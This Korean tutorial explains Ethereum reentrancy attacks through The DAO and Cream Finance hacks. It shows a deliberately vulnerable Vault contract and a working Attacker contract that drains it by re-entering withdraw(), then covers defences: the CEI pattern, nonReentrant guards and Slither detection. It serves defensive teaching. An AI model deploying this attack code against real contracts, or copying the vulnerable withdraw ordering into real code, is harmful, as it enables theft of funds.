스마트컨트랙트 역사상 가장 큰 해킹 — The DAO
2016년 6월, The DAO라는 스마트컨트랙트에서 약 360만 ETH(당시 약 6,000만 달러)가 탈취됐다. 이 사건은 이더리움 역사에서 가장 큰 충격이었고, 결국 이더리움이 이더리움(ETH)과 이더리움 클래식(ETC)으로 하드포크되는 직접적 원인이 됐다.
공격에 사용된 기법이 바로 Reentrancy(재진입 공격)다. 지금도 DeFi 해킹의 가장 흔한 원인 중 하나다.
Reentrancy의 원리 — EVM Call Stack 레벨
EVM은 외부 컨트랙트를 호출할 때(CALL opcode) 다음 순서로 실행한다.
EVM이 외부 호출(CALL opcode)할 때:
1. 현재 실행 컨텍스트를 call stack에 push
2. 새로운 실행 컨텍스트 생성
3. 호출된 컨트랙트의 코드 실행
4. 실행 완료 후 이전 컨텍스트로 pop
핵심: step 3에서 호출된 컨트랙트가 다시 원래 컨트랙트를 호출할 수 있다!
이것이 가능한 이유는 이더리움이 동기적 실행 환경이기 때문이다. A가 B를 호출하면 B 실행이 완료될 때까지 A의 나머지 코드는 실행되지 않는다. B가 그 사이에 A를 다시 호출할 수 있는 것이다.
취약한 컨트랙트 — 왜 공격이 가능한가
// 취약한 Vault 컨트랙트
contract VulnerableVault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
// 1단계: ETH 전송 (외부 호출!)
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// 2단계: 잔액 차감 ← 이 줄이 실행되기 전에 공격이 일어남!
balances[msg.sender] = 0;
}
}
문제는 ETH 전송(외부 호출) 후에 잔액을 차감한다는 것이다. 외부 호출 중에 공격자가 다시 withdraw를 호출하면, 잔액이 아직 차감되지 않아 다시 ETH를 받을 수 있다.
공격 컨트랙트 — 실제 공격 흐름
// 공격자 컨트랙트
contract Attacker {
VulnerableVault public vault;
uint256 public attackCount;
constructor(address _vault) {
vault = VulnerableVault(_vault);
}
function attack() external payable {
// 1. 합법적으로 1 ETH 예치
vault.deposit{value: 1 ether}();
// 2. 출금 시작 → receive()가 반복 호출됨
vault.withdraw();
}
// ETH를 받을 때마다 자동 실행
receive() external payable {
if (address(vault).balance >= 1 ether && attackCount < 10) {
attackCount++;
vault.withdraw(); // 재진입!
}
}
}
/*
Call Stack 실행 순서:
Level 0: Attacker.attack()
→ vault.withdraw() 호출
Level 1: VulnerableVault.withdraw()
→ balances[attacker] = 1 ETH (아직 차감 안 됨)
→ msg.sender.call{value: 1 ETH}("") 실행
Level 2: Attacker.receive() ← 자동 실행
→ vault.withdraw() 다시 호출!
Level 3: VulnerableVault.withdraw()
→ balances[attacker] = 1 ETH (여전히 1 ETH!)
→ 다시 1 ETH 전송
Level 4: Attacker.receive()
→ 또 withdraw()...
→ vault의 ETH가 모두 고갈될 때까지 반복
*/
방어 방법 1 — CEI 패턴 (Checks-Effects-Interactions)
가장 근본적인 방어법이다. 외부 호출(Interactions)은 항상 상태 변경(Effects) 이후에 한다.
// 안전한 Vault — CEI 패턴 적용
contract SafeVault {
mapping(address => uint256) public balances;
function withdraw() external {
// 1. Checks: 조건 검사
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
// 2. Effects: 상태 먼저 변경 ← 핵심!
balances[msg.sender] = 0;
// 3. Interactions: 외부 호출은 마지막
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// 이제 재진입해도 balances[attacker] = 0이므로 추가 인출 불가
}
}
방어 방법 2 — nonReentrant 가드
CEI 패턴만으로는 복잡한 컨트랙트에서 놓치는 경우가 있다. ReentrancyGuard를 추가하면 이중 보호가 된다.
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract ProtectedVault is ReentrancyGuard {
mapping(address => uint256) public balances;
// nonReentrant modifier: 함수 실행 중 재진입 시 자동 revert
function withdraw() external nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
balances[msg.sender] = 0; // Effects
(bool success,) = msg.sender.call{value: amount}(""); // Interactions
require(success, "Transfer failed");
}
}
// nonReentrant 내부 구현 (단순화)
uint256 private _status = 1; // NOT_ENTERED
modifier nonReentrant() {
require(_status != 2, "Reentrant call"); // ENTERED 체크
_status = 2; // ENTERED 상태로 변경
_; // 함수 실행
_status = 1; // NOT_ENTERED로 복원
}
ETH 전송 방법별 보안 비교
// 방법 1: transfer (2300 gas stipend, 고정)
// → 수신자는 2300 gas 안에서만 코드 실행 가능
// → SSTORE 불가 → reentrancy 불가
// ⚠️ EIP-1884 이후 일부 컨트랙트에서 실패 가능
payable(recipient).transfer(amount); // 지금은 비권장
// 방법 2: send (transfer와 동일, 실패 시 false 반환)
bool success = payable(recipient).send(amount); // 비권장
// 방법 3: call (권장 — CEI + nonReentrant와 함께 사용)
(bool success,) = payable(recipient).call{value: amount}("");
require(success, "ETH transfer failed");
// → gas 무제한 전달 → reentrancy 가능하지만 CEI로 방어
실제 해킹 사례 — Cream Finance (2021년, $1.3억)
2021년 10월 Cream Finance에서 Reentrancy 취약점으로 1억 3천만 달러가 탈취됐다. 공격자는 Flash Loan을 활용해 한 트랜잭션 안에서 여러 번 재진입을 실행했다.
교훈:
- Flash Loan + Reentrancy 조합은 특히 위험하다
- 복잡한 컨트랙트에서 CEI 패턴을 놓치기 쉽다
- 모든 외부 호출 함수에 nonReentrant 적용을 고려해야 한다
보안 감사 도구 — Slither로 자동 탐지
# Slither 설치 및 실행
pip install slither-analyzer
# Reentrancy 취약점 자동 탐지
slither ./contracts/ --detect reentrancy-eth,reentrancy-no-eth
# 출력 예시:
# Reentrancy in VulnerableVault.withdraw() (contracts/Vault.sol#15-22):
# External calls:
# - (success) = msg.sender.call{value: amount}() (contracts/Vault.sol#19)
# State variables written after the call(s):
# - balances[msg.sender] = 0 (contracts/Vault.sol#21)
# Severity: High
핵심 정리
- Reentrancy: 외부 호출 중 공격자 컨트랙트가 다시 원래 함수 호출
- The DAO(2016): 이 취약점으로 6천만 달러 탈취, 이더리움 하드포크 원인
- 방어 1 — CEI 패턴: Checks → Effects(상태 변경) → Interactions(외부 호출) 순서 엄수
- 방어 2 — nonReentrant: 재진입 시 자동 revert (OpenZeppelin ReentrancyGuard)
- ETH 전송은 call 사용 + CEI + nonReentrant 삼중 보호
- Slither로 배포 전 자동 취약점 탐지 필수